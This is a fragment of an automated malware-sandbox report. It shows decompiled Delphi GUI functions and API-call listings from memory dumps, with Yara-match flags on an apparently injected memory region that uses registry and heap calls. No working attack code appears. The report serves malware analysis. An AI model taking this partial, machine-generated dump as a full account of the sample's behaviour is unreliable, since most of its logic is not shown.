0x003ccffe
0x003cd005
0x003cd00e
0x003cd013
0x003cd017
0x003cd022
0x003cd022
0x003cd027
0x003cd02a
0x003cd02a
0x003cd02a
0x00000000
0x003cd005

APIs

SaveDC.GDI32 ref: 003CCF0A

Part of subcall function 003C700C: GetWindowOrgEx.GDI32(55DFEBFF), ref: 003C701A
Part of subcall function 003C700C: SetWindowOrgEx.GDI32(55DFEBFF,?,?,00000000), ref: 003C7030

IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 003CCF2B
GetWindowLongA.USER32(00000000,000000EC), ref: 003CCF41
GetWindowLongA.USER32(00000000,000000F0), ref: 003CCF63
SetRect.USER32 ref: 003CCF8F
DrawEdge.USER32(?,?,?,00000000), ref: 003CCF9E
IntersectClipRect.GDI32(?,00000000,00000000,?,?), ref: 003CCFC3
RestoreDC.GDI32(?,?), ref: 003CD034

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClipIntersectLong$DrawEdgeRestoreSave
String ID:
API String ID: 2976466617-0
Opcode ID: 5be8e509b1377f116b515274059017ab5522d3a171f3da6a9e126609a09c02e9
Instruction ID: 79604fda016677d4c2bf0eb74b79457d3776ae1029d067792eff1d06b44875ea
Opcode Fuzzy Hash: 5be8e509b1377f116b515274059017ab5522d3a171f3da6a9e126609a09c02e9
Instruction Fuzzy Hash: 54413271B00214ABDB12EBADCC86FAE77B9AF45700F104169FA04EF396DA75DD0187A4

Uniqueness

Uniqueness Score: -1.00%

Function 023418FE, Relevance: 12.1, APIs: 8, Instructions: 121memoryregistrysynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02342A10: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 02342A25
Part of subcall function 02342A10: lstrlen.KERNEL32(?,00000000,00000000,?,?,?,00000000,?,?,?,0234191D,00000000,?), ref: 02342A53

RtlAllocateHeap.NTDLL(00000000,00000105), ref: 02341943
RtlAllocateHeap.NTDLL(00000000,00000105), ref: 0234195B
HeapFree.KERNEL32(00000000,?), ref: 023419BD
RtlAllocateHeap.NTDLL(00000000,?), ref: 023419D1
WaitForSingleObject.KERNEL32(00000000), ref: 02341A21
HeapFree.KERNEL32(00000000,?), ref: 02341A4A
HeapFree.KERNEL32(00000000,?), ref: 02341A5A
RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 02341A63

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFree$CloseCreateObjectSingleWaitlstrlen
String ID:
API String ID: 3503961013-0
Opcode ID: d6a887d2ac4c7ce9fa84501396d36e6ee40810d59b31d626b924eda3e10d46ec
Instruction ID: 71eac48e5f6e228f7de0745453a36c7e72ba6659abc08ccbfd5783a073518cdf
Opcode Fuzzy Hash: d6a887d2ac4c7ce9fa84501396d36e6ee40810d59b31d626b924eda3e10d46ec
Instruction Fuzzy Hash: 6441C7B1C00219FFDF119F95CD849EEBBBDFB08344F1084AAE555A2210DB355AA5EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0234F3E6, Relevance: 12.1, APIs: 8, Instructions: 112stringtimeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,00000030,?,?,?,?,?,?,?,?,?,?,?,0235AC16), ref: 0234F3FC
wsprintfA.USER32 ref: 0234F424
lstrlen.KERNEL32(?), ref: 0234F433

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

wsprintfA.USER32 ref: 0234F473
wsprintfA.USER32 ref: 0234F4A8
memcpy.NTDLL(00000000,?,?), ref: 0234F4B5
memcpy.NTDLL(00000008,023633F4,00000002,00000000,?,?), ref: 0234F4CA
wsprintfA.USER32 ref: 0234F4ED

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: wsprintf$Timememcpy$FileFreeHeapSystemlstrlen
String ID:
API String ID: 2937943280-0
Opcode ID: c3277534e32afa8af565d6492c693d04a14c05fd135a6e17040635217a564cf2
Instruction ID: 487dc5bb0349e3b5e541faf4f948d2265cbee2f069e7b485f17cf1e039f9b9ed
Opcode Fuzzy Hash: c3277534e32afa8af565d6492c693d04a14c05fd135a6e17040635217a564cf2
Instruction Fuzzy Hash: EF411EB1A00109EFDB14DFA8D888EAEB7FDEF48308B558455E919D7211EB31EA15CF60

Uniqueness

Uniqueness Score: -1.00%

Function 003A10D0, Relevance: 12.1, APIs: 8, Instructions: 79
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E003A10D0(void* __ebx) {
				struct HDC__* _v8;
				struct tagPALETTEENTRY _v1000;
				struct tagPALETTEENTRY _v1004;
				struct tagPALETTEENTRY _v1032;
				signed int _v1034;
				short _v1036;
				void* _t24;
				int _t53;
				intOrPtr _t60;
				void* _t62;
				void* _t63;

				_t62 = _t63;
				_v1036 = 0x300;
				_v1034 = 0x10;
				E003828C8(_t24, 0x40,  &_v1032);
				_v8 = GetDC(0);
				_push(_t62);
				_push(0x3a11cd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t63 + 0xfffffbf8;
				_t53 = GetDeviceCaps(_v8, 0x68);
				if(_t53 >= 0x10) {
					GetSystemPaletteEntries(_v8, 0, 8,  &_v1032);
					if(_v1004 != 0xc0c0c0) {
						GetSystemPaletteEntries(_v8, _t53 - 8, 8, _t62 + (_v1034 & 0x0000ffff) * 4 - 0x424);
					} else {
						GetSystemPaletteEntries(_v8, _t53 - 8, 1,  &_v1004);
						GetSystemPaletteEntries(_v8, _t53 - 7, 7, _t62 + (_v1034 & 0x0000ffff) * 4 - 0x420);
						GetSystemPaletteEntries(_v8, 7, 1,  &_v1000);
					}
				}
				_pop(_t60);
				 *[fs:eax] = _t60;
				_push(E003A11D4);
				return ReleaseDC(0, _v8);
			}

0x003a10d1
0x003a10da
0x003a10e3
0x003a10f7
0x003a1103
0x003a1108
0x003a1109
0x003a110e
0x003a1111
0x003a111f
0x003a1124
0x003a1139
0x003a1148
0x003a11af
0x003a114a
0x003a115d
0x003a117b
0x003a118f
0x003a118f
0x003a1148
0x003a11b6
0x003a11b9
0x003a11bc
0x003a11cc

APIs

GetDC.USER32(00000000), ref: 003A10FE
GetDeviceCaps.GDI32(?,00000068), ref: 003A111A
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 003A1139
GetSystemPaletteEntries.GDI32(?,-00000008,00000001,00C0C0C0), ref: 003A115D
GetSystemPaletteEntries.GDI32(?,00000000,00000007,?), ref: 003A117B
GetSystemPaletteEntries.GDI32(?,00000007,00000001,?), ref: 003A118F
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 003A11AF
ReleaseDC.USER32(00000000,?), ref: 003A11C7

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: EntriesPaletteSystem$CapsDeviceRelease
String ID:
API String ID: 1781840570-0
Opcode ID: 9c9a81856d7b6322a28ec1888fd660d49067ea191f537109942aa8429f118331
Instruction ID: dd4b3b27dfbea54c0e37eed42be6ef3d1bbdb88101fd0c5833c9a978d510cca9
Opcode Fuzzy Hash: 9c9a81856d7b6322a28ec1888fd660d49067ea191f537109942aa8429f118331
Instruction Fuzzy Hash: 8E2151B1A40308AADF11EBA5CD96FAE73BCEB48704F5004D5F708EB1C1D675AE448B24

Uniqueness

Uniqueness Score: -1.00%

Function 023598F0, Relevance: 12.1, APIs: 8, Instructions: 72memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,?,?,00000001,00000001,?,0234FE50,?,?,?,?), ref: 02359914
RtlAllocateHeap.NTDLL(00000000,00000001), ref: 02359926
wcstombs.NTDLL ref: 02359934
lstrlen.KERNEL32(00000000,00000000,?,?,00000001,00000001,?,0234FE50,?,?,?,?,?), ref: 02359958
RtlAllocateHeap.NTDLL(00000000,00000002), ref: 0235996D
mbstowcs.NTDLL ref: 0235997A
HeapFree.KERNEL32(00000000,00000000), ref: 0235998C
HeapFree.KERNEL32(00000000,00000000,00000001), ref: 023599A6

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreelstrlen$mbstowcswcstombs
String ID:
API String ID: 316328430-0
Opcode ID: dec4275e078ea0f4fc8626fdf0e8f6716c554edbbe85718a0a9730e4919aca73
Instruction ID: 08f57b8cb826b6a8d5529966d3e0b650a418f8917a97b6d4fbb57dc4ad35acf0
Opcode Fuzzy Hash: dec4275e078ea0f4fc8626fdf0e8f6716c554edbbe85718a0a9730e4919aca73
Instruction Fuzzy Hash: 5D2165B1C40219FFCF109FA4EC09F9A7BBDEB48B44F108465FA05A61A1D7319A25DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 023451AB, Relevance: 11.5, APIs: 9, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f129db85d300a9519f1ee5d81039473b833ed0f9a41fad8722d404598c2ebb66
Instruction ID: 85d7817fc7cfa0dc42c3cfcf2f5403f8ffd7f56a91999f2da8fbed737bf8dc53
Opcode Fuzzy Hash: f129db85d300a9519f1ee5d81039473b833ed0f9a41fad8722d404598c2ebb66
Instruction Fuzzy Hash: D4A11771D00609EFDF229FA4CC04AAEBBFAFF15305F5044AAE811B6160DB71AA95DF10

Uniqueness

Uniqueness Score: -1.00%

Function 003BE538, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 187
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E003BE538(void* __eax, void* __ebx, char __ecx, struct HMENU__* __edx, void* __edi, void* __esi) {
				char _v5;
				char _v12;
				char _v13;
				struct tagMENUITEMINFOA _v61;
				char _v68;
				signed int _t90;
				signed int _t102;
				CHAR* _t108;
				char _t114;
				void* _t150;
				intOrPtr _t157;
				intOrPtr _t180;
				struct HMENU__* _t182;
				int _t186;
				void* _t188;
				signed int _t189;
				void* _t192;
				void* _t201;

				_t151 = __ecx;
				_v68 = 0;
				_v12 = 0;
				_v5 = __ecx;
				_t182 = __edx;
				_t150 = __eax;
				_push(_t192);
				_push(0x3be793);
				_push( *[fs:eax]);
				 *[fs:eax] = _t192 + 0xffffffc0;
				if( *((char*)(__eax + 0x3e)) == 0) {
					L22:
					_pop(_t157);
					 *[fs:eax] = _t157;
					_push(0x3be79a);
					E00383EBC( &_v68);
					return E00383EBC( &_v12);
				}
				E00383F54( &_v12,  *((intOrPtr*)(__eax + 0x30)));
				_t90 = E003C04B4(_t150);
				if(_t90 <= 0) {
					__eflags =  *((short*)(_t150 + 0x60));
					if( *((short*)(_t150 + 0x60)) == 0) {
						L8:
						L00386254();
						if((_t90 & 0x000000ff) < 4) {
							_t186 =  *(0x3d9c18 + ((E003842C8( *((intOrPtr*)(_t150 + 0x30)), 0x3be7b8) & 0xffffff00 | __eflags == 0x00000000) & 0x0000007f) * 4) |  *0x003D9C0C |  *0x003D9BFC |  *0x003D9C04 | 0x00000400;
							_t102 = E003C04B4(_t150);
							__eflags = _t102;
							if(_t102 <= 0) {
								InsertMenuA(_t182, 0xffffffff, _t186,  *(_t150 + 0x50) & 0x0000ffff, E0038437C(_v12));
							} else {
								_t108 = E0038437C( *((intOrPtr*)(_t150 + 0x30)));
								InsertMenuA(_t182, 0xffffffff, _t186 | 0x00000010, E003BEA48(_t150), _t108);
							}
							goto L22;
						}
						_v61.cbSize = 0x2c;
						_v61.fMask = 0x3f;
						_t188 = E003C0A70(_t150);
						if(_t188 == 0 ||  *((char*)(_t188 + 0x40)) == 0 && E003C008C(_t150) == 0) {
							if( *((intOrPtr*)(_t150 + 0x4c)) == 0) {
								L14:
								_t114 = 0;
								goto L16;
							}
							_t201 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t150 + 0x4c)))) + 0x1c))();
							if(_t201 == 0) {
								goto L15;
							}
							goto L14;
						} else {
							L15:
							_t114 = 1;
							L16:
							_v13 = _t114;
							_v61.fType =  *(0x3d9c4c + ((E003842C8( *((intOrPtr*)(_t150 + 0x30)), 0x3be7b8) & 0xffffff00 | _t201 == 0x00000000) & 0x0000007f) * 4) |  *0x003D9C44 |  *0x003D9C20 |  *0x003D9C54 |  *0x003D9C5C;
							_v61.fState =  *0x003D9C2C |  *0x003D9C3C |  *0x003D9C34;
							_v61.wID =  *(_t150 + 0x50) & 0x0000ffff;
							_v61.hSubMenu = 0;
							_v61.hbmpChecked = 0;
							_v61.hbmpUnchecked = 0;
							_v61.dwTypeData = E0038437C(_v12);
							if(E003C04B4(_t150) > 0) {
								_v61.hSubMenu = E003BEA48(_t150);
							}
							InsertMenuItemA(_t182, 0xffffffff, 0xffffffff,  &_v61);
							goto L22;
						}
					}
					_t189 =  *((intOrPtr*)(_t150 + 0x64));
					__eflags = _t189;
					if(_t189 == 0) {
						L7:
						_push(_v12);
						_push(0x3be7ac);
						E003BDB9C( *((intOrPtr*)(_t150 + 0x60)), _t150, _t151,  &_v68, _t189);
						_push(_v68);
						_t90 =  &_v12;
						E0038423C();
						goto L8;
					}
					__eflags =  *((intOrPtr*)(_t189 + 0x64));
					if( *((intOrPtr*)(_t189 + 0x64)) != 0) {
						goto L7;
					}
					_t180 =  *0x3bd42c; // 0x3bd478
					_t90 = E00383288( *((intOrPtr*)(_t189 + 4)), _t180);
					__eflags = _t90;
					if(_t90 != 0) {
						goto L8;
					}
					goto L7;
				}
				_t90 = E003BEA48(_t150);
				_v61.hSubMenu = _t90;
				goto L8;
			}

0x003be538
0x003be543
0x003be546
0x003be549
0x003be54c
0x003be54e
0x003be552
0x003be553
0x003be558
0x003be55b
0x003be562
0x003be775
0x003be777
0x003be77a
0x003be77d
0x003be785
0x003be792
0x003be792
0x003be56e
0x003be575
0x003be57c
0x003be58a
0x003be58f
0x003be5d4
0x003be5d4
0x003be5e2
0x003be72e
0x003be736
0x003be73b
0x003be73d
0x003be770
0x003be73f
0x003be742
0x003be757
0x003be757
0x00000000
0x003be73d
0x003be5e8
0x003be5ef
0x003be5fd
0x003be601
0x003be618
0x003be626
0x003be626
0x00000000
0x003be626
0x003be622
0x003be624
0x00000000
0x00000000
0x00000000
0x003be62a
0x003be62a
0x003be62a
0x003be62c
0x003be62c
0x003be67b
0x003be6a2
0x003be6a9
0x003be6ae
0x003be6b3
0x003be6b8
0x003be6c3
0x003be6cf
0x003be6d8
0x003be6d8
0x003be6e4
0x00000000
0x003be6e4
0x003be601
0x003be591
0x003be594
0x003be596
0x003be5b0
0x003be5b0
0x003be5b3
0x003be5bf
0x003be5c4
0x003be5c7
0x003be5cf
0x00000000
0x003be5cf
0x003be598
0x003be59c
0x00000000
0x00000000
0x003be5a1
0x003be5a7
0x003be5ac
0x003be5ae
0x00000000
0x00000000
0x00000000
0x003be5ae
0x003be580
0x003be585
0x00000000

APIs

InsertMenuItemA.USER32 ref: 003BE6E4
734E569E.KERNEL32(00000000,003BE793), ref: 003BE5D4

Part of subcall function 003BEA48: CreatePopupMenu.USER32 ref: 003BEA63

Strings

,, xrefs: 003BE5E8
?, xrefs: 003BE5EF

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$CreateE569InsertItemPopup
String ID: ,$?
API String ID: 3189851164-2308483597
Opcode ID: 5e2941def22a8b8009ce5d1d3e9ce5c00ffb73debeb5f1c67bdf7af6ca3a4e90
Instruction ID: 9237179ca883dec7e38221754bca6e18411e9948623ca8e423f2d0f254258cfe
Opcode Fuzzy Hash: 5e2941def22a8b8009ce5d1d3e9ce5c00ffb73debeb5f1c67bdf7af6ca3a4e90
Instruction Fuzzy Hash: AE61C230A142459BDB13EF7CE882BDA7BF9BF49304F0545B6EA40EB656EA34D805CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003A16C0, Relevance: 10.7, APIs: 7, Instructions: 166
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E003A16C0() {
				struct HINSTANCE__* _t145;
				long _t166;
				intOrPtr _t167;
				intOrPtr _t186;
				void* _t192;
				BYTE* _t193;
				BYTE* _t196;
				intOrPtr _t197;
				void* _t198;
				intOrPtr _t199;

				 *((intOrPtr*)(_t198 - 0x24)) = 0;
				 *((intOrPtr*)(_t198 - 0x20)) = E003A1534( *( *((intOrPtr*)(_t198 - 0x10)) + 2) & 0x0000ffff);
				_t192 =  *((intOrPtr*)(_t198 - 0xc)) - 1;
				if(_t192 > 0) {
					_t197 = 1;
					do {
						_t167 = E003A1534( *( *((intOrPtr*)(_t198 - 0x10)) + 2 + (_t197 + _t197) * 8) & 0x0000ffff);
						if(_t167 <=  *((intOrPtr*)(_t198 - 0x1c)) && _t167 >=  *((intOrPtr*)(_t198 - 0x20)) && E003A1540( *((intOrPtr*)(_t198 - 0x10)) + ( *((intOrPtr*)(_t198 - 0x24)) +  *((intOrPtr*)(_t198 - 0x24))) * 8,  *((intOrPtr*)(_t198 - 0x10)) + (_t197 + _t197) * 8, _t198) != 0) {
							 *((intOrPtr*)(_t198 - 0x24)) = _t197;
							 *((intOrPtr*)(_t198 - 0x20)) = _t167;
						}
						_t197 = _t197 + 1;
						_t192 = _t192 - 1;
						_t204 = _t192;
					} while (_t192 != 0);
				}
				 *(_t198 - 0x40) =  *((intOrPtr*)(_t198 - 0x10)) + ( *((intOrPtr*)(_t198 - 0x24)) +  *((intOrPtr*)(_t198 - 0x24))) * 8;
				 *( *(_t198 + 8)) =  *( *(_t198 - 0x40)) & 0x000000ff;
				( *(_t198 + 8))[1] = ( *(_t198 - 0x40))[1] & 0x000000ff;
				 *((intOrPtr*)(_t198 - 0x2c)) = E00387BC4(( *(_t198 - 0x40))[8], _t204);
				 *[fs:eax] = _t199;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t198 - 4)))) + 0x14))( *[fs:eax], 0x3a18a7, _t198);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t198 - 4)))) + 0xc))();
				E003A1378( *((intOrPtr*)(_t198 - 0x2c)),  *((intOrPtr*)(_t198 - 0x2c)), _t198 - 0x38, _t198 - 0x34, _t192,  *((intOrPtr*)( *((intOrPtr*)(_t198 - 4)))), _t204,  *(_t198 + 8));
				GetObjectA( *(_t198 - 0x38), 0x18, _t198 - 0x70);
				GetObjectA( *(_t198 - 0x34), 0x18, _t198 - 0x58);
				_t166 =  *(_t198 - 0x64) *  *(_t198 - 0x68) * ( *(_t198 - 0x60) & 0x0000ffff);
				 *(_t198 - 0x3c) =  *(_t198 - 0x4c) *  *(_t198 - 0x50) * ( *(_t198 - 0x48) & 0x0000ffff);
				 *((intOrPtr*)(_t198 - 0x18)) =  *(_t198 - 0x3c) + _t166;
				 *(_t198 - 0x30) = E00387BC4( *((intOrPtr*)(_t198 - 0x18)), _t204);
				_push(_t198);
				_push(0x3a1884);
				_push( *[fs:eax]);
				 *[fs:eax] = _t199;
				_t193 =  *(_t198 - 0x30);
				_t196 =  &(( *(_t198 - 0x30))[_t166]);
				GetBitmapBits( *(_t198 - 0x38), _t166, _t193);
				GetBitmapBits( *(_t198 - 0x34),  *(_t198 - 0x3c), _t196);
				DeleteObject( *(_t198 - 0x34));
				DeleteObject( *(_t198 - 0x38));
				_t145 =  *0x3db668; // 0x380000
				 *((intOrPtr*)( *((intOrPtr*)(_t198 - 8)))) = CreateIcon(_t145,  *( *(_t198 + 8)), ( *(_t198 + 8))[1],  *(_t198 - 0x48),  *(_t198 - 0x46), _t193, _t196);
				if( *((intOrPtr*)( *((intOrPtr*)(_t198 - 8)))) == 0) {
					E003A0AE8(_t166);
				}
				_pop(_t186);
				 *[fs:eax] = _t186;
				_push(E003A188B);
				return E003826EC( *(_t198 - 0x30));
			}

0x003a16c2
0x003a16d1
0x003a16d7
0x003a16da
0x003a16dc
0x003a16e1
0x003a16f2
0x003a16f7
0x003a171e
0x003a1721
0x003a1721
0x003a1724
0x003a1725
0x003a1725
0x003a1725
0x003a16e1
0x003a1733
0x003a173f
0x003a174b
0x003a1759
0x003a1767
0x003a1781
0x003a1794
0x003a17a3
0x003a17b2
0x003a17c1
0x003a17d1
0x003a17e0
0x003a17e8
0x003a17f3
0x003a17f8
0x003a17f9
0x003a17fe
0x003a1801
0x003a1804
0x003a180a
0x003a1812
0x003a1820
0x003a1829
0x003a1832
0x003a184e
0x003a185c
0x003a1864
0x003a1866
0x003a1866
0x003a186d
0x003a1870
0x003a1873
0x003a1883

APIs

GetObjectA.GDI32(?,00000018,?), ref: 003A17B2
GetObjectA.GDI32(?,00000018,?), ref: 003A17C1
GetBitmapBits.GDI32(?,?,?), ref: 003A1812
GetBitmapBits.GDI32(?,?,?), ref: 003A1820
DeleteObject.GDI32(?), ref: 003A1829
DeleteObject.GDI32(?), ref: 003A1832
CreateIcon.USER32(00380000,?,?,?,?,?,?), ref: 003A1854

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: d4d943761c2ed315f3cd583c5cfd126ea1d60d622ca9c75e76c67924ea8a3508
Instruction ID: 70e6ed95acc1c41681b427a971122e3c5da358c3a79fd959d20d9fdaefadaf9c
Opcode Fuzzy Hash: d4d943761c2ed315f3cd583c5cfd126ea1d60d622ca9c75e76c67924ea8a3508
Instruction Fuzzy Hash: BC61C075A00219AFCB41EFA8D881AEEBBF9FF49300F1584A5F804EB351D635AD41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 003BEAD8, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E003BEAD8(void* __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, int _a4, char _a8, struct tagRECT* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				struct tagRECT _v32;
				void* _t53;
				int _t63;
				CHAR* _t65;
				void* _t76;
				void* _t78;
				int _t89;
				CHAR* _t91;
				int _t117;
				intOrPtr _t127;
				void* _t139;
				void* _t144;
				char _t153;

				_t120 = __ecx;
				_t143 = _t144;
				_v16 = 0;
				_v12 = __ecx;
				_v8 = __edx;
				_t139 = __eax;
				_t117 = _a4;
				_push(_t144);
				_push(0x3becbc);
				_push( *[fs:eax]);
				 *[fs:eax] = _t144 + 0xffffffe4;
				_t53 = E003C0A70(__eax);
				_t135 = _t53;
				if(_t53 != 0 && E003C20AC(_t135) != 0) {
					if((_t117 & 0x00000000) != 0) {
						__eflags = (_t117 & 0x00000002) - 2;
						if((_t117 & 0x00000002) == 2) {
							_t117 = _t117 & 0xfffffffd;
							__eflags = _t117;
						}
					} else {
						_t117 = _t117 & 0xffffffff | 0x00000002;
					}
					_t117 = _t117 | 0x00020000;
				}
				E00383F54( &_v16, _v12);
				if((_t117 & 0x00000004) == 0) {
					L12:
					E003842C8(_v16, 0x3bece0);
					if(_t153 != 0) {
						E003A0200( *((intOrPtr*)(_v8 + 0x14)), _t120, 1, _t135, _t143, __eflags);
						__eflags =  *((char*)(_t139 + 0x3a));
						if( *((char*)(_t139 + 0x3a)) != 0) {
							_t136 =  *((intOrPtr*)(_v8 + 0xc));
							__eflags = E0039FBD8( *((intOrPtr*)(_v8 + 0xc))) |  *0x3bece4;
							E0039FBE4( *((intOrPtr*)(_v8 + 0xc)), E0039FBD8( *((intOrPtr*)(_v8 + 0xc))) |  *0x3bece4, _t136, _t139, _t143);
						}
						__eflags =  *((char*)(_t139 + 0x39));
						if( *((char*)(_t139 + 0x39)) != 0) {
							L24:
							_t63 = E0038417C(_v16);
							_t65 = E0038437C(_v16);
							DrawTextA(E003A07A4(_v8), _t65, _t63, _a12, _t117);
							L25:
							_pop(_t127);
							 *[fs:eax] = _t127;
							_push(0x3becc3);
							return E00383EBC( &_v16);
						} else {
							__eflags = _a8;
							if(_a8 == 0) {
								OffsetRect(_a12, 1, 1);
								E0039F918( *((intOrPtr*)(_v8 + 0xc)), 0xff000014);
								_t89 = E0038417C(_v16);
								_t91 = E0038437C(_v16);
								DrawTextA(E003A07A4(_v8), _t91, _t89, _a12, _t117);
								OffsetRect(_a12, 0xffffffff, 0xffffffff);
							}
							__eflags = _a8;
							if(_a8 == 0) {
								L23:
								E0039F918( *((intOrPtr*)(_v8 + 0xc)), 0xff000010);
							} else {
								_t76 = E0039F458(0xff00000d);
								_t78 = E0039F458(0xff000010);
								__eflags = _t76 - _t78;
								if(_t76 != _t78) {
									goto L23;
								}
								E0039F918( *((intOrPtr*)(_v8 + 0xc)), 0xff000014);
							}
							goto L24;
						}
					}
					if((_t117 & 0x00000004) == 0) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_v32.top = _v32.top + 4;
						DrawEdge(E003A07A4(_v8),  &_v32, 6, 2);
					}
					goto L25;
				} else {
					if(_v16 == 0) {
						L11:
						E00384184( &_v16, 0x3becd4);
						goto L12;
					}
					if( *_v16 != 0x26) {
						goto L12;
					}
					_t153 =  *((char*)(_v16 + 1));
					if(_t153 != 0) {
						goto L12;
					}
					goto L11;
				}
			}

0x003bead8
0x003bead9
0x003beae3
0x003beae6
0x003beae9
0x003beaec
0x003beaee
0x003beaf3
0x003beaf4
0x003beaf9
0x003beafc
0x003beb01
0x003beb06
0x003beb0a
0x003beb1a
0x003beb29
0x003beb2c
0x003beb31
0x003beb31
0x003beb31
0x003beb1c
0x003beb1f
0x003beb1f
0x003beb34
0x003beb34
0x003beb40
0x003beb48
0x003beb6e
0x003beb76
0x003beb7b
0x003bebb9
0x003bebbe
0x003bebc2
0x003bebc7
0x003bebd3
0x003bebdb
0x003bebdb
0x003bebe0
0x003bebe4
0x003bec81
0x003bec89
0x003bec92
0x003beca1
0x003beca6
0x003beca8
0x003becab
0x003becae
0x003becbb
0x003bebea
0x003bebea
0x003bebee
0x003bebf8
0x003bec08
0x003bec15
0x003bec1e
0x003bec2d
0x003bec3a
0x003bec3a
0x003bec3f
0x003bec43
0x003bec71
0x003bec7c
0x003bec45
0x003bec4a
0x003bec56
0x003bec5b
0x003bec5d
0x00000000
0x00000000
0x003bec6a
0x003bec6a
0x00000000
0x003bec43
0x003bebe4
0x003beb80
0x003beb8e
0x003beb8f
0x003beb90
0x003beb91
0x003beb92
0x003beba7
0x003beba7
0x00000000
0x003beb4a
0x003beb4e
0x003beb61
0x003beb69
0x00000000
0x003beb69
0x003beb56
0x00000000
0x00000000
0x003beb5b
0x003beb5f
0x00000000
0x00000000
0x00000000
0x003beb5f

APIs

DrawEdge.USER32(00000000,?,00000006,00000002), ref: 003BEBA7
OffsetRect.USER32 ref: 003BEBF8
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 003BEC2D
OffsetRect.USER32 ref: 003BEC3A
DrawTextA.USER32(00000000,00000000,00000000,?,?), ref: 003BECA1

Strings

RESCDIR, xrefs: 003BEB34

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Draw$OffsetRectText$Edge
String ID: RESCDIR
API String ID: 3610532707-1407983487
Opcode ID: 9daee4d5b272bc62bac64ec5ba4f59ba89124be034df709ffd790f59d51a4076
Instruction ID: 5d6eefa43e95543c63d57bd651178c1fd095411e792a28aaff05e48e5a484f6e
Opcode Fuzzy Hash: 9daee4d5b272bc62bac64ec5ba4f59ba89124be034df709ffd790f59d51a4076
Instruction Fuzzy Hash: 62516070A04248AFDB12FBACC882BDEB7E5AF05314F1581A5FA14EB792C7759E009B51

Uniqueness
